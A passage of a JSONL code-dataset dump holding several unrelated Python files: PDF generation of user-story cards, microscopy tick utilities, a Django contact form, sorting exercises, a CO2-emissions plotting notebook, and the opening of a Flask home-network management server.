  }))\n        p = Paragraph(text, style)\n        a_w = SIZE[0]*cm\n        a_h = (SIZE[1]-TOP_HEIGHT)*cm\n        w, h = p.wrap(a_w, a_h)  # find required space\n        if w <= a_w and h <= a_h:\n            p.drawOn(c, 0, (SIZE[1]-TOP_HEIGHT)*cm - h - 0.1*cm)\n            found = True\n        else:\n            font_size -= 1\n            leading -= 1\n            # raise ValueError(\"Not enough room\")\n    # print order\n    c.setStrokeColorRGB(0, 0, 0, alpha=0.2)\n    p = Paragraph(u\"<font size=8 color=#cccccc>{0}</font>\".format(\n        counter), normal_style)\n    p.wrap(0.5*cm, 0.5*cm)\n    p.drawOn(c, 0.2*cm, 0.1*cm)\n\n    c.restoreState()\n\n\ndef draw_story_back(c, story, positions, position=0):\n    c.saveState()\n    pos = positions[position]\n    size = SIZE\n    c.translate(pos[0]*cm, pos[1]*cm)\n    c.setStrokeColorRGB(0.2, 0.3, 0.5)\n    c.rect(0, 0, size[0]*cm, size[1]*cm, fill=0)\n\n    stylesheet = getSampleStyleSheet()\n    normal_style = stylesheet['Normal']\n\n     # Code\n    p = Paragraph(u\"<font size=15>{0}</font>\".format(story.code), normal_style)\n    p.wrap(5*cm, 2*cm)\n    p.drawOn(c, 1.1*cm, (SIZE[1]-TOP_HEIGHT+1.5)*cm)\n\n    # Draw acceptance criteria\n    html = u\"\"\"\n        <div style=\"font-size:13px\">{0}</div>\n    \"\"\".format(markdown(story.acceptances))\n    context = pisaStory(html)\n    f = Frame(0, 0, size[0]*cm, (size[1]-TOP_HEIGHT/2)*cm, showBoundary=1)\n    f.addFromList(context.story, c)\n    c.restoreState()\n\n\ndef generate_pdf(stories, file_name,\n                 print_side=LONG_SIDE, print_format=A4_FORMAT):\n    response = HttpResponse(content_type='application/pdf')\n    response['Content-Disposition'] = \\\n        'attachment; filename=\"{0}\"'.format(file_name)\n\n    # Create the PDF object, using the response object as its \"file.\"\n    c = canvas.Canvas(response, PAGE_SIZES_CHOICE[print_format])\n    c.setAuthor(\"backlogman.com\")\n    c.setTitle(\"User story printing\")\n    c.setSubject(\"Stories\")\n    i = 0\n    front = True\n    front_positions = get_position(print_format, FRONT_SIDE)\n    back_position = get_position(print_format, print_side)\n    story_per_page = len(front_positions)\n    counter = 0\n    while i < len(stories) or front:\n        m = divmod(i, story_per_page)[1]\n        if i < len(stories):\n            story = stories[i]\n            if front:\n                counter += 1\n                draw_story_front(c, story, front_positions, m, counter)\n            else:\n                draw_story_back(c, story, back_position, m)\n        i += 1\n        if m == story_per_page-1:\n            if front:\n                front = False\n                i -= 4\n            else:\n                front = True\n            if i < len(stories):\n                c.showPage()\n\n    c.showPage()\n    c.save()\n    return response\n","repo_name":"dsaradini/facile_backlog","sub_path":"facile_backlog/backlog/pdf.py","file_name":"pdf.py","file_ext":"py","file_size_in_byte":6868,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"}
+{"seq_id":"18040808614","text":"from typing import List, Mapping, MutableMapping, Optional, Tuple, Union\n\nimport numpy as np\nimport xarray as xr\n\nfrom starfish.core.types import ArrayLike, Axes, Coordinates, Number\n\n\ndef _get_axes_names(ndim: int) -> Tuple[List[Axes], List[Coordinates]]:\n    \"\"\"Get needed axes and coordinates given the number of dimensions.  The axes and coordinates are\n    returned in the order expected for binary masks.  For instance, the first axis/coordinate\n    should be the first index into the mask.\n\n    Parameters\n    ----------\n    ndim : int\n        Number of dimensions.\n    Returns\n    -------\n    axes : List[Axes]\n        Axes.\n    coords : List[Coordinates]\n        Coordinates.\n    \"\"\"\n    if ndim == 2:\n        axes = [Axes.Y, Axes.X]\n        coords = [Coordinates.Y, Coordinates.X]\n    elif ndim == 3:\n        axes = [Axes.ZPLANE, Axes.Y, Axes.X]\n        coords = [Coordinates.Z, Coordinates.Y, Coordinates.X]\n    else:\n        raise TypeError('expected 2- or 3-D image')\n\n    return axes, coords\n\n\ndef _normalize_pixel_ticks(\n        pixel_ticks: Optional[Union[\n            Mapping[Axes, ArrayLike[int]],\n            Mapping[str, ArrayLike[int]]]],\n) -> MutableMapping[Axes, ArrayLike[int]]:\n    \"\"\"Given pixel ticks in a mapping from an axis or a string representing an axis, return a\n    mapping from an axis.  The mapping may also not be present (i.e., None), in which an empty\n    dictionary is returned.\n    \"\"\"\n\n    normalized_pixel_ticks = {}\n    for axis, axis_data in (pixel_ticks or {}).items():\n        if isinstance(axis_data, xr.DataArray):\n            normalized_pixel_ticks[Axes(axis)] = axis_data.data\n        else:\n            normalized_pixel_ticks[Axes(axis)] = axis_data\n\n    return normalized_pixel_ticks\n\n\ndef _normalize_physical_ticks(\n        physical_ticks: Union[\n            Mapping[Coordinates, ArrayLike[Number]],\n            Mapping[str, ArrayLike[Number]]],\n) -> Mapping[Coordinates, ArrayLike[Number]]:\n    \"\"\"Given physical coordinate ticks in a mapping from a coordinate or a string representing a\n    coordinate, return a mapping from a coordinate.\n    \"\"\"\n\n    normalized_physical_ticks = {}\n    for coord, coord_data in physical_ticks.items():\n        if isinstance(coord_data, xr.DataArray):\n            normalized_physical_ticks[Coordinates(coord)] = coord_data.data\n        else:\n            normalized_physical_ticks[Coordinates(coord)] = coord_data\n\n    return normalized_physical_ticks\n\n\ndef _ticks_equal(\n        left: Mapping,\n        right: Mapping,\n) -> bool:\n    \"\"\"Given two sets of tick marks, return True if the two contain the same keys, and contain the\n    same data for each key.  This works for both pixel ticks and physical ticks.\n    \"\"\"\n    if left.keys() != right.keys():\n        return False\n    for key in left.keys():\n        if not np.all(left[key] == right[key]):\n            return False\n\n    return True\n","repo_name":"spacetx/starfish","sub_path":"starfish/core/morphology/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","stars":220,"dataset":"github-code","pt":"37"}
+{"seq_id":"4025809154","text":"from django.core.mail import send_mail\nfrom django import forms\nfrom ..models import Contact\nfrom django.core.exceptions import ValidationError\nimport re\nfrom django.utils.translation import gettext as _\nfrom django.conf import settings\n\ndef CheckMail(value):\n    if not re.match(r\"[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+\", value):\n        raise ValidationError('メールアドレスの形式が違います')\n\n\nclass ContactForm(forms.ModelForm):\n\n    class Meta:\n        model = Contact\n        fields = ('name', 'mail', 'text',)\n        labels = {\n            'name': \"Name \",\n            'mail': \"Mail \",\n            'text': \"Contact \",\n            }\n\n    # メール送信\n    def SendContactMail(self):\n        mail = self.cleaned_data['mail']\n        name = self.cleaned_data['name']\n        text = self.cleaned_data['text']\n        subject = \"問い合わせ\"\n        message = \"---以下問い合わせ内容---\"\n        message += \"\\n\\n\"\n        message += \"名前：\" + name + \"\\n\\n\"\n        message += \"連絡先：\" + mail + \"\\n\\n\"\n        message += \"内容：\" + text + \"\\n\\n\"\n        from_email = getattr(settings, \"MAIL_ADDR_FROM\", None)\n        recipient_list = [\n            getattr(settings, \"MAIL_ADDR_TO\", None)\n        ]\n\n        send_mail(subject, message, from_email, recipient_list)\n\n    # メールチェック\n    def clean_mail(self):\n        mail = self.cleaned_data['mail']\n        if mail:\n            if not re.match(r\"[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+\", mail):\n                raise ValidationError(\n                    _(\"メールアドレス形式が正しくありません。\"),\n                    code=\"mail format error\"\n                )\n        return mail\n","repo_name":"ryunoooosuke/MySite","sub_path":"myprofile/Form/contactForm.py","file_name":"contactForm.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20375088560","text":"from pkglib.scripts import run_setup_command\nfrom pkglib.setuptools.command.pyuninstall import pyuninstall\n\nUSAGE = \"\"\"\\\nusage: %(script)s [options] package_name\n   or: %(script)s --help\n\"\"\"\n\n\ndef main(argv=None, **kw):\n    run_setup_command(pyuninstall, usage=USAGE, argv=argv, **kw)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"man-group/pkglib","sub_path":"pkglib/pkglib/scripts/pyuninstall.py","file_name":"pyuninstall.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"37"}
+{"seq_id":"36365938720","text":"# TO-DO: Complete the selection_sort() function below \ndef selection_sort( arr ):\n    # loop through n-1 elements\n    for i in range(0, len(arr) - 1):\n        cur_index = i\n        smallest_index = cur_index\n        # TO-DO: find next smallest element\n        # (hint, can do in 3 loc) \n        for smallest_index in range(i+1, len(arr) ):\n            if arr[cur_index] > arr[smallest_index]:\n                cur_index = smallest_index\n        # TO-DO: swap\n        temp = arr[i]\n        arr[i] = arr[cur_index]\n        arr[cur_index] = temp\n\n    return arr\n\n\n# TO-DO:  implement the Bubble Sort function below\n#1 compare first two items\n#2 if the left > right, swap (1st item is sorted, everything else is not)\n#3 next two items, repeat above step\ndef bubble_sort( arr ):\n    for i in range(0, len(arr) - 1): #outer for loop\n       for j in range(0, len(arr) - 1 - i): #inner for loop\n           if arr[j] > arr[j+1]: #compare item with item on right\n               arr[j], arr[j+1] = arr[j+1], arr[j] \n                #if item on left > item on right, swap\n    return arr\n\n\n\n\n# STRETCH: implement the Count Sort function below\ndef count_sort( arr, maximum=-1 ):\n\n    return arr","repo_name":"cocoitali/Sorting","sub_path":"src/iterative_sorting/iterative_sorting.py","file_name":"iterative_sorting.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36525167833","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n# Dependencies\nimport pandas as pd\nimport numpy as np\nimport plotly\nimport plotly.express as px\nimport matplotlib\n\n\n# In[2]:\n\n\n# Store filepath in a variable\n# Please note to that you need to change this path if different from the actual path \n\nfile_one = \"../Resources/CO2Emission.csv\"\nfile_two = \"../Resources/CO2GDP.csv\"\nfile_three = \"../Resources/CO2POP.csv\"\nfile_four = \"../Resources/Countries2.csv\"\nfile_five = \"../Resources/allcountries.csv\"\n\n\n# In[3]:\n\n\n# Read our Data file with the pandas library\n# Not every CSV requires an encoding, but be aware this can come up\n\n# CO2 emission \nfile_one_df = pd.read_csv(file_one, encoding=\"ISO-8859-1\")\n\n# CO2 emission per GDP\nfile_two_df = pd.read_csv(file_two, encoding=\"ISO-8859-1\")\n\n# CO2 emission per capita\nfile_three_df = pd.read_csv(file_three, encoding=\"ISO-8859-1\")\n\n# Map data\nallcountries_df = pd.read_csv(file_five, encoding=\"ISO-8859-1\")\n\nCountries_df = pd.read_csv(file_four, encoding=\"ISO-8859-1\")\n\n\n# In[4]:\n\n\n# Show just the header\nallcountries_df\n\n\n# In[5]:\n\n\n# Show just the header\n\nfile_two_df.head()\n\n\n# In[6]:\n\n\n# Show just the header\nfile_three_df.head()\n\n\n# In[7]:\n\n\nfile_one_df.count()\n\n\n# In[8]:\n\n\nfile_two_df.count()\n\n\n# In[9]:\n\n\n# Clean up the input files by dropping row with no data\n\nfile_one_df = file_one_df.dropna(0,how='any')\n\nfile_two_df = file_two_df.dropna(0,how='any')\n\nfile_three_df = file_three_df.dropna(0,how='any')\n\n\n# In[10]:\n\n\n# Test number of rows\n\nfile_one_df.count()\n\n\n# In[11]:\n\n\n# Name of the desired coulumns in the csv files\n\ncolumns = [\n    \"1991\",\n    \"1992\",\n    \"1993\",\n    \"1994\",\n    \"1995\",\n    \"1996\",\n    \"1997\",\n    \"1998\",\n    \"1999\",\n    \"2000\",\n    \"2001\",\n    \"2002\",\n    \"2003\",\n    \"2004\",\n    \"2005\",\n    \"2006\",\n    \"2007\",\n    \"2008\",\n    \"2009\",\n    \"2010\",\n    \"2011\",\n    \"2012\",\n    \"2013\",\n    \"2014\",\n    \"2015\",\n    \"2016\",\n    \"2017\",\n    \"2018\",\n    \"2019\"    \n]\n\n# Creat data frame for Canada. df_1, df_2, df_3 represent CO2, CO2/GDP, and CO2/Pop\nCanada_df_1 = file_one_df.loc[file_one_df[\"Region/Country/Economy\"] == \"Canada\", columns]\nCanada_df_2 = file_two_df.loc[file_two_df[\"Region/Country/Economy\"] == \"Canada\", columns]\nCanada_df_3 = file_three_df.loc[file_three_df[\"Region/Country/Economy\"] == \"Canada\", columns]\n\n# Creat data frame for US. df_1, df_2, df_3 represent CO2, CO2/GDP, and CO2/Pop\nUS_df_1 = file_one_df.loc[file_one_df[\"Region/Country/Economy\"] == \"United States\", columns]\nUS_df_2 = file_two_df.loc[file_two_df[\"Region/Country/Economy\"] == \"United States\", columns]\nUS_df_3 = file_three_df.loc[file_three_df[\"Region/Country/Economy\"] == \"United States\", columns]\n\n# Creat data frame for UK. df_1, df_2, df_3 represent CO2, CO2/GDP, and CO2/Pop\nUK_df_1 = file_one_df.loc[file_one_df[\"Region/Country/Economy\"] == \"United Kingdom\", columns]\nUK_df_2 = file_two_df.loc[file_two_df[\"Region/Country/Economy\"] == \"United Kingdom\", columns]\nUK_df_3 = file_three_df.loc[file_three_df[\"Region/Country/Economy\"] == \"United Kingdom\", columns]\n\n\n# Creat data frame for Germany. df_1, df_2, df_3 represent CO2, CO2/GDP, and CO2/Pop\nGermany_df_1 = file_one_df.loc[file_one_df[\"Region/Country/Economy\"] == \"Germany\", columns]\nGermany_df_2 = file_two_df.loc[file_two_df[\"Region/Country/Economy\"] == \"Germany\", columns]\nGermany_df_3 = file_three_df.loc[file_three_df[\"Region/Country/Economy\"] == \"Germany\", columns]\n\n\n# Creat data frame for Japan. df_1, df_2, df_3 represent CO2, CO2/GDP, and CO2/Pop\nJapan_df_1 = file_one_df.loc[file_one_df[\"Region/Country/Economy\"] == \"Japan\", columns]\nJapan_df_2 = file_two_df.loc[file_two_df[\"Region/Country/Economy\"] == \"Japan\", columns]\nJapan_df_3 = file_three_df.loc[file_three_df[\"Region/Country/Economy\"] == \"Japan\", columns]\n\n\n# Creat data frame for Italy. df_1, df_2, df_3 represent CO2, CO2/GDP, and CO2/Pop\nItaly_df_1 = file_one_df.loc[file_one_df[\"Region/Country/Economy\"] == \"Italy\", columns]\nItaly_df_2 = file_two_df.loc[file_two_df[\"Region/Country/Economy\"] == \"Italy\", columns]\nItaly_df_3 = file_three_df.loc[file_three_df[\"Region/Country/Economy\"] == \"Italy\", columns]\n\n\n# Creat data frame for France. df_1, df_2, df_3 represent CO2, CO2/GDP, and CO2/Pop\nFrance_df_1 = file_one_df.loc[file_one_df[\"Region/Country/Economy\"] == \"France\", columns]\nFrance_df_2 = file_two_df.loc[file_two_df[\"Region/Country/Economy\"] == \"France\", columns]\nFrance_df_3 = file_three_df.loc[file_three_df[\"Region/Country/Economy\"] == \"France\", columns]\n\n\n# Creat data frame for China. df_1, df_2, df_3 represent CO2, CO2/GDP, and CO2/Pop\nChina_df_1 = file_one_df.loc[file_one_df[\"Region/Country/Economy\"] == \"People's Rep. of China\", columns]\nChina_df_2 = file_two_df.loc[file_two_df[\"Region/Country/Economy\"] == \"People's Rep. of China\", columns]\nChina_df_3 = file_three_df.loc[file_three_df[\"Region/Country/Economy\"] == \"People's Rep. of China\", columns]\n\n\n\n# Creat data frame for Russia. df_1, df_2, df_3 represent CO2, CO2/GDP, and CO2/Pop\nRussia_df_1 = file_one_df.loc[file_one_df[\"Region/Country/Economy\"] == \"Russian Federation\", columns]\nRussia_df_2 = file_two_df.loc[file_two_df[\"Region/Country/Economy\"] == \"Russian Federation\", columns]\nRussia_df_3 = file_three_df.loc[file_three_df[\"Region/Country/Economy\"] == \"Russian Federation\", columns]\n\nCanada_df_1\n\n\n# In[12]:\n\n\n# Test the data frames\n# Canada_df_2.head()\n# UK_df_3.head() \n# Germany_df.head() \n# Japan_df.head() \nChina_df_3.head() \n# France_df.head() \n# China_df.head() \n# Russia_df.head() \n# US_df.head()\n# Canada_df_1.head()\n\n\n# In[13]:\n\n\n# Change the name of rows to give them an appropriate name \n\n\nCanada_df_1_New = Canada_df_1.rename(index = {0:'CO2Emission'})\nCanada_df_2_New = Canada_df_2.rename(index = {0:'CO2/GDP'})\nCanada_df_3_New = Canada_df_3.rename(index = {0:'CO2/POP'})\n\nUS_df_1_New = US_df_1.rename(index = {3:'CO2Emission'})\nUS_df_2_New = US_df_2.rename(index = {3:'CO2/GDP'})\nUS_df_3_New = US_df_3.rename(index = {3:'CO2/POP'})\n\nUK_df_1_New = UK_df_1.rename(index = {37:'CO2Emission'})\nUK_df_2_New = UK_df_2.rename(index = {37:'CO2/GDP'})\nUK_df_3_New = UK_df_3.rename(index = {37:'CO2/POP'})\n\nGermany_df_1_New = Germany_df_1.rename(index = {18:'CO2Emission'})\nGermany_df_2_New = Germany_df_2.rename(index = {18:'CO2/GDP'})\nGermany_df_3_New = Germany_df_3.rename(index = {18:'CO2/POP'})\n\nJapan_df_1_New = Japan_df_1.rename(index = {7:'CO2Emission'})\nJapan_df_2_New = Japan_df_2.rename(index = {7:'CO2/GDP'})\nJapan_df_3_New = Japan_df_3.rename(index = {7:'CO2/POP'})\n\nItaly_df_1_New = Italy_df_1.rename(index = {23:'CO2Emission'})\nItaly_df_2_New = Italy_df_2.rename(index = {23:'CO2/GDP'})\nItaly_df_3_New = Italy_df_3.rename(index = {23:'CO2/POP'})\n\nFrance_df_1_New = France_df_1.rename(index = {17:'CO2Emission'})\nFrance_df_2_New = France_df_2.rename(index = {17:'CO2/GDP'})\nFrance_df_3_New = France_df_3.rename(index = {17:'CO2/POP'})\n\nChina_df_1_New = China_df_1.rename(index = {119:'CO2Emission'})\nChina_df_2_New = China_df_2.rename(index = {119:'CO2/GDP'})\nChina_df_3_New = China_df_3.rename(index = {119:'CO2/POP'})\n\n\n\nRussia_df_1_New = Russia_df_1.rename(index = {57:'CO2Emission'})\nRussia_df_2_New = Russia_df_2.rename(index = {57:'CO2/GDP'})\nRussia_df_3_New = Russia_df_3.rename(index = {57:'CO2/POP'})\n\nChina_df_3_New\n\n\n# In[14]:\n\n\n# Transpose the dataframes\n\n\nCanada_df_1=Canada_df_1_New.T\nCanada_df_2=Canada_df_2_New.T\nCanada_df_3= Canada_df_3_New.T\n\nUS_df_1= US_df_1_New.T\nUS_df_2= US_df_2_New.T\nUS_df_3= US_df_3_New.T\n\nUK_df_1= UK_df_1_New.T\nUK_df_2= UK_df_2_New.T\nUK_df_3= UK_df_3_New.T\n\n\nGermany_df_1= Germany_df_1_New.T\nGermany_df_2= Germany_df_2_New.T\nGermany_df_3= Germany_df_3_New.T\n\nJapan_df_1= Japan_df_1_New.T\nJapan_df_2= Japan_df_2_New.T\nJapan_df_3= Japan_df_3_New.T\n\nItaly_df_1= Italy_df_1_New.T\nItaly_df_2= Italy_df_2_New.T\nItaly_df_3= Italy_df_3_New.T\n\nFrance_df_1= France_df_1_New.T\nFrance_df_2= France_df_2_New.T\nFrance_df_3= France_df_3_New.T\n\nChina_df_1= China_df_1_New.T\nChina_df_2= China_df_2_New.T\nChina_df_3= China_df_3_New.T\n\nRussia_df_1 = Russia_df_1_New.T\nRussia_df_2 = Russia_df_2_New.T\nRussia_df_3 = Russia_df_3_New.T\n\n\nChina_df_3\n\n\n# In[15]:\n\n\n# Combine all the information of a country into a single dataframe of the name of that Country \n\nframes = [Canada_df_1, Canada_df_2, Canada_df_3]\nCanada = pd.concat([Canada_df_1, Canada_df_2, Canada_df_3], axis=1)\n\n\nframes = [US_df_1, US_df_2, US_df_3]\nUS = pd.concat([US_df_1, US_df_2, US_df_3], axis=1)\n\n\nframes = [UK_df_1, UK_df_2, UK_df_3]\nUK = pd.concat([UK_df_1, UK_df_2, UK_df_3], axis=1)\n\nframes = [Germany_df_1, Germany_df_2, Germany_df_3]\nGermany = pd.concat([Germany_df_1, Germany_df_2, Germany_df_3], axis=1)\n\nframes = [Japan_df_1, Japan_df_2, Japan_df_3]\nJapan = pd.concat([Japan_df_1,Japan_df_2, Japan_df_3], axis=1)\n\nframes = [Italy_df_1, Italy_df_2, Italy_df_3]\nItaly = pd.concat([Italy_df_1,Italy_df_2, Italy_df_3], axis=1)\n\nframes = [France_df_1, France_df_2, France_df_3]\nFrance = pd.concat([France_df_1,France_df_2, France_df_3], axis=1)\n\nframes = [China_df_1, China_df_2, China_df_3]\nChina = pd.concat([China_df_1,China_df_2, China_df_3], axis=1)\n\nframes = [Russia_df_1, Russia_df_2, Russia_df_3]\nRussia = pd.concat([Russia_df_1,Russia_df_2, Russia_df_3], axis=1)\n\nRussia\n\n\n# In[16]:\n\n\nCanada['CO2Emission'] = Canada['CO2Emission'].astype(float)\nCanada['CO2/GDP'] = Canada['CO2/GDP'].astype(float)\nCanada['CO2/POP'] = Canada['CO2/POP'].astype(float)\n\nUS['CO2Emission'] = US['CO2Emission'].astype(float)\nUS['CO2/GDP'] = US['CO2/GDP'].astype(float)\nUS['CO2/POP'] = US['CO2/POP'].astype(float)\n\nUK['CO2Emission'] = UK['CO2Emission'].astype(float)\nUK['CO2/GDP'] = UK['CO2/GDP'].astype(float)\nUK['CO2/POP'] = UK['CO2/POP'].astype(float)\n\nGermany['CO2Emission'] = Germany['CO2Emission'].astype(float)\nGermany['CO2/GDP'] = Germany['CO2/GDP'].astype(float)\nGermany['CO2/POP'] = Germany['CO2/POP'].astype(float)\n\nJapan['CO2Emission'] = Japan['CO2Emission'].astype(float)\nJapan['CO2/GDP'] = Japan['CO2/GDP'].astype(float)\nJapan['CO2/POP'] = Japan['CO2/POP'].astype(float)\n\n\nFrance['CO2Emission'] = France['CO2Emission'].astype(float)\nFrance['CO2/GDP'] = France['CO2/GDP'].astype(float)\nFrance['CO2/POP'] = France['CO2/POP'].astype(float)\n\nChina['CO2Emission'] = China['CO2Emission'].astype(float)\nChina['CO2/GDP'] = China['CO2/GDP'].astype(float)\nChina['CO2/POP'] = China['CO2/POP'].astype(float)\n\nRussia['CO2Emission'] = Russia['CO2Emission'].astype(float)\nRussia['CO2/GDP'] = Russia['CO2/GDP'].astype(float)\nRussia['CO2/POP'] = Russia['CO2/POP'].astype(float)\n\nItaly['CO2Emission'] = Italy['CO2Emission'].astype(float)\nItaly['CO2/GDP'] = Italy['CO2/GDP'].astype(float)\nItaly['CO2/POP'] = Italy['CO2/POP'].astype(float)\n\n\n# In[17]:\n\n\n# Split each country's dataframe to two dataframes of before and after Paris agreemnets\n\nCanada_before = Canada.iloc[:24,:] \nCanada_after = Canada.iloc[25:,:]\n\nUS_before = US.iloc[:24,:] \nUS_after = US.iloc[25:,:]\n\nUK_before = UK.iloc[:24,:] \nUK_after = UK.iloc[25:,:]\n\nGermany_before = Germany.iloc[:24,:] \nGermany_after = Germany.iloc[25:,:]\n\nJapan_before = Japan.iloc[:24,:] \nJapan_after = Japan.iloc[25:,:]\n\nItaly_before = Italy.iloc[:24,:] \nItaly_after = Italy.iloc[25:,:]\n\nFrance_before = France.iloc[:24,:] \nFrance_after = France.iloc[25:,:]\n\nRussia_before = Russia.iloc[:24,:] \nRussia_after = Russia.iloc[25:,:]\n\nChina_before = China.iloc[:24,:] \nChina_after = China.iloc[25:,:]\n\n\n# In[18]:\n\n'''\n    Now, you can calculate the statistics of Total, and before and after Paris agreemnet of each country. \n\n    For example \n    Canada.mean() gives you the mean of CO2 emission, CO2/GDP, and CO2/POP for the period of 1991-2019\n    Canada_before.mean() gives you the mean of CO2 emission, CO2/GDP, and CO2/POP for the period of 1991-2015\n    Canada_after.mean() gives you the mean of CO2 emission, CO2/GDP, and CO2/POP for the period of 2016-2019\n\n'''\n\n\nCanada_after.mean()\n\n\n# \n\n# In[19]:\n\n\nFrance_before.mean()\n\n\n# In[20]:\n\n\n# df = px.data.gapminder().query(\"year==2007\")\n\ndf = Countries_df\n\nfig = px.scatter_geo(df, locations=\"iso_alpha\", color=\"continent \",\n                     hover_name=\"country \", size=\"pop\",\n                    animation_frame=\"year \",\n                     projection=\"equirectangular\")\nfig.show()\n\n\n# In[21]:\n\n\nplotly.offline.plot(fig, filename='C:/Users/aragh\\Desktop/canada_offline.html')\n\n\n# In[22]:\n\n\ndf = allcountries_df\n\nfigemission = px.scatter_geo(df, locations=\"isoalpha\", color=\"continent\",\n                     hover_name=\"country\", size=\"co2emission\",\n                    animation_frame=\"year\",color_continuous_scale=px.colors.cyclical.IceFire,size_max=15, \n                     projection=\"equirectangular\")\nfigemission.show()\nplotly.offline.plot(figemission, filename='../Graphic/emission_offline.html')\n\n\n# In[23]:\n\n\ndf = allcountries_df\n\nfigGDP = px.scatter_geo(df, locations=\"isoalpha\", color=\"country\",\n                     hover_name=\"country\", size=\"co2/gdp\",\n                    animation_frame=\"year\",\n                     projection=\"equirectangular\")\nfigGDP.show()\nplotly.offline.plot(figGDP, filename='../Graphic/GDP_offline.html')\n\n\n# In[24]:\n\n\ndf = allcountries_df\n\nfigPOP = px.scatter_geo(df, locations=\"isoalpha\", color=\"country\",\n                     hover_name=\"country\", size=\"co2/pop\",\n                    animation_frame=\"year\",\n                     projection=\"equirectangular\")\nfigPOP.show()\nplotly.offline.plot(figPOP, filename='../Graphic/POP_offline.html')\n\n\n# In[25]:\n\n\ndf = allcountries_df\n\nfigemission1 = px.choropleth(df, locations=\"isoalpha\", color=\"co2emission\", hover_name=\"country\", animation_frame=\"year\",\n                        range_color=[1000,6000])\nfigemission1.show()\nplotly.offline.plot(figemission1,  filename='../Graphic/emission1_offline.html')\n\n\n# In[26]:\n\n\ndf = allcountries_df\n\nfigcountries = px.choropleth(df, locations=\"isoalpha\", color=\"country\", hover_name=\"country\", \n                             range_color=[1000,6000])\nfigcountries.show()\n\nplotly.offline.plot(figcountries,  filename='../Graphic/countries_offline.html')\n\n\n# In[41]:\n\n\ndf = allcountries_df\n\nfigtrend = px.line(df, x=\"year\", y=\"co2emission\", color=\"continent\", line_group=\"country\", hover_name=\"country\",\n        line_shape=\"spline\", render_mode=\"svg\")\n\nfigtrend.update_layout(\n    hoverlabel=dict(\n        bgcolor=\"white\",\n        font_size=16,\n        font_family=\"Rockwell\"\n    )\n)\n\nfigtrend.show()\nplotly.offline.plot(figtrend,  filename='../Graphic/Trend')\n\n\n# In[40]:\n\n\ndf = allcountries_df\n\nfig = px.scatter(df, x=\"co2emission\", y=\"co2/gdp\", animation_frame=\"year\", animation_group=\"country\",\n           size=\"co2emission\", color=\"continent\", hover_name=\"country\", facet_col=\"continent\",\n           log_x=True, size_max=45, range_x=[100,10000], range_y=[0,3])\nfig.show()\nplotly.offline.plot(fig,  filename='../Graphic/Group')\n\n","repo_name":"monicawwwesome/Climate-change-CO2-emission-and-GDP","sub_path":"Project_1.py","file_name":"Project_1.py","file_ext":"py","file_size_in_byte":14733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"4046479048","text":"# HTTP server for HNCP\nimport json\nfrom flask import Flask, render_template, request, redirect, send_from_directory\n\nfrom  protocol_translation import proto_trans\nimport sys\n\n\n\n#for login after: pip3 install flask-login flask-sqlalchemy\n#from flask_sqlalchemy import SQLAlchemy\n#from flask_login import LoginManager, UserMixin, login_user, logout_user, login_required\n#from flask_login import current_user\n\nimport file_mngmt as fm\nimport rule_managment as rule_mngmt \nfrom rule_managment import default_rule\n\n\n\napp = Flask(__name__, static_url_path='')\n#openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365\n#if __name__ == \"__main__\":\n#    app.run(ssl_context=('cert.pem', 'key.pem'))\n\nservers = {'http_server':'00:1b:21:d3:1f:62','gW_Server': 'b8:27:eb:e6:70:f1'}\nignored_mac = ['ff:ff:ff:ff:ff:ff']\ndef net_topology():\n  home_net_topo = {\n    \"type\": \"NetworkGraph\",\n    \"label\": \"Home Network\",\n    \"protocol\": \"OpenFlow\",\n    \"version\": \"1.3\",\n     \"nodes\": [],\n     \"links\": []\n\n  }\n\n  nodes = []\n  for dev in joined_dev_info:\n    node = {\n            \"id\": dev['mac'].lower(),\n            \"label\": dev['name'],\n            \"properties\": {\n              \"ip\": dev['ip'],\n              \"gateway\": False\n            }\n        }\n    nodes.append(node)\n\n  links = []\n  for policy in net_policy:\n    if not(policy['from_mac'].lower() in joined_dev_macs and \\\n       policy['to_mac'].lower() in joined_dev_macs): \n      continue\n    print(\"source \", policy['from_mac'])\n    print(\"target\", policy['to_mac'])\n    \n    link = {\n            \"source\": policy['from_mac'].lower(),\n            \"target\": policy['to_mac'].lower(),\n            \"cost\": 1,\n            \"properties\": {\n                \"tx\": 0.900,\n                \"rx\": 0.497,\n                \"bitrate\": \"100 mbit/s\",\n                \"type\": \"ethernet\",\n                \"protocols\": policy['service']['service_name']\n            }\n        }\n    links.append(link)\n  print(links)    \n\n  home_net_topo['nodes'] = nodes\n  home_net_topo['links'] = links\n  with open('static/home_net.json','w') as fd:\n    json.dump(home_net_topo, fd)\n\n@app.route('/')\ndef root():\n  return 'hellow world!'\n\n@app.route('/home')\n#@login_required\ndef home():\n    global dev_info\n    dev_info = fm.get_dhcp_leases()\n\n\n    # request learned mac from faucet promethous 192.168.5.8:9244\n    global joined_dev_macs\n    joined_dev_macs = fm.get_faucet_macs()\n    print('joined_dev_macs OK')\n\n    #  add dev IP and hostname\n    global joined_dev_info    \n    joined_dev_info = fm.get_dev_info(joined_dev_macs, dev_info)\n    print('joined_dev_info OK')\n\n    # get faucet.yaml file\n    global faucet_yaml\n    faucet_yaml = fm.get_faucet_yaml()\n    print('faucet_yaml OK')\n\n    blocked_dev = fm.get_blocked_devs(joined_dev_macs)\n    blocked_dev_info = fm.get_dev_info(blocked_dev, dev_info)\n\n\n    # get faucet policy\n    # let's make it static at first \n    global net_policy\n    net_policy = get_faucet_policy(faucet_yaml['acls']['wifi_acl'])\n\n    return render_template('index.html', joined_dev=joined_dev_info, \n      